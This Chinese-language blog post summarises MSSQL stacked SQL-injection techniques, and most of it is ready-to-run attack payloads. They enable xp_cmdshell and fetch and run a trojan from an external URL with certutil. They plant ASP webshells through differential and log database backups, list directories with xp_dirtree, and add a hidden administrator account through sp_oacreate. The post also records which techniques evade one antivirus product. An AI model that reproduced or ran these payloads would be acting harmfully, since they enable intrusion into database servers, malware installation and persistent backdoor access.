mssql堆疊注入利用總結
前言
前一段時間遇到了兩個mssql的注入,一個是可以限制長度的命令執行,另一個是網站可以注入,但是主機存在殺軟,不可以使用xp_cmdshell,所以總結一下mssql堆疊注入環境下的函數利用,以及殺軟的反應
當然,下面的函數基本都要基於dba權限,如果不是dba的話,擁有相關權限也是可以的
環境
這裏使用win2008搭建了iis和mssql環境,mssql的默認用戶是network權限,數據庫連接使用sa權限
寫webshell
寫webshell的話需要知道相應的目錄權限,可以通過報錯信息,字典來猜測,執行命令和相關函數來搜索,讀取iis的配置文件等方式,這裏主要來使用xp_cmdshell
和xp_dirtree
來演示
xp_dirtree
execute master..xp_dirtree 'c:' --列出所有c:\文件、目錄、子目錄
execute master..xp_dirtree 'c:',1 --只列c:\目錄
execute master..xp_dirtree 'c:',1,1 --列c:\目錄、文件
如果不能回顯的話,可以把查詢結果寫入數據表中,之後通過注入來獲取相關目錄信息
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
select * from tmp;
xp_dirtree殺軟反應
這裏只測試了某衛士
這個函數殺軟沒有反應
xp_cmdshell
開啓xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
查找asp所在目錄
CREATE TABLE cmdtmp (dir varchar(8000));
exec master..xp_cmdshell 'for /r c:\inetpub %i in (1*.asp) do @echo %i'
select * from cmdtmp
xp_cmdshell殺軟反應
可以看到對xp_cmdshell
函數攔截比較嚴格
通過命令執行拿shell
無殺軟
可以通過xp_cmdshell
函數來執行命令寫shell
開啓xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
使用xp_cmdshell
下載和執行muma
exec master..xp_cmdshell 'certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe'
exec master..xp_cmdshell '%temp%/1.exe'
如果遇到長度限制的話可以參考我的另一篇文章記一次asp+mssql的注入和命令執行(已脫敏)
有殺軟
和前面一樣,對這個函數限制比較嚴格,哪怕是錯誤命令都不能執行
通過差異備份寫shell
有殺軟
backup database test to disk = 'C:\test\bak.bak';
create table [dbo].[test1] ([cmd] [image]);
insert into test1(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database test to disk='C:\test\d.asp' WITH DIFFERENTIAL,FORMAT;
這裏的0x3C25657865637574652872657175657374282261222929253E
是對應文本的
16進制編碼
這裏在有殺軟的情況下可以正常執行,無殺軟的情況下就不再測試,不過
backup database test to disk = 'C:\inetpub\wwwroot\bak.bak';
backup database test to disk='C:\inetpub\wwwroot\d.asp' WITH DIFFERENTIAL,FORMAT;
在寫shell 的時候會因爲目錄權限問題而導致無法寫入
log備份
LOG備份需要先把指定的數據庫激活爲還原模式,所以需要執行alter database XXX set RECOVERY FULL 如果權限不夠的話就要看是否已經開啓log備份
有殺軟
alter database test set RECOVERY FULL;
create table cmd1 (a image);
backup log test to disk = 'C:\test\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');
backup log test to disk = 'C:\test\hack2.asp';
可以正常執行
遇到的問題
執行alter database test set RECOVERY FULL
後無法執行backup log
操作,重啓數據庫之後纔可以,還存在目錄權限問題,寫文件到C:\test\hack.asp
可以,
backup log test to disk = 'C:\inetpub\wwwroot\hack2.asp';
存在目錄權限問題
sp_oacreate
無殺軟
開啓sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
添加用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123 /add';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add';
因爲權限問題無法創建,這裏使用寫文件的方式
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c echo 123>c:\test\123.txt';
有殺軟
應該是對命令執行比較敏感
參考文章
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
https://www.cnblogs.com/xishaonian/p/7421592.html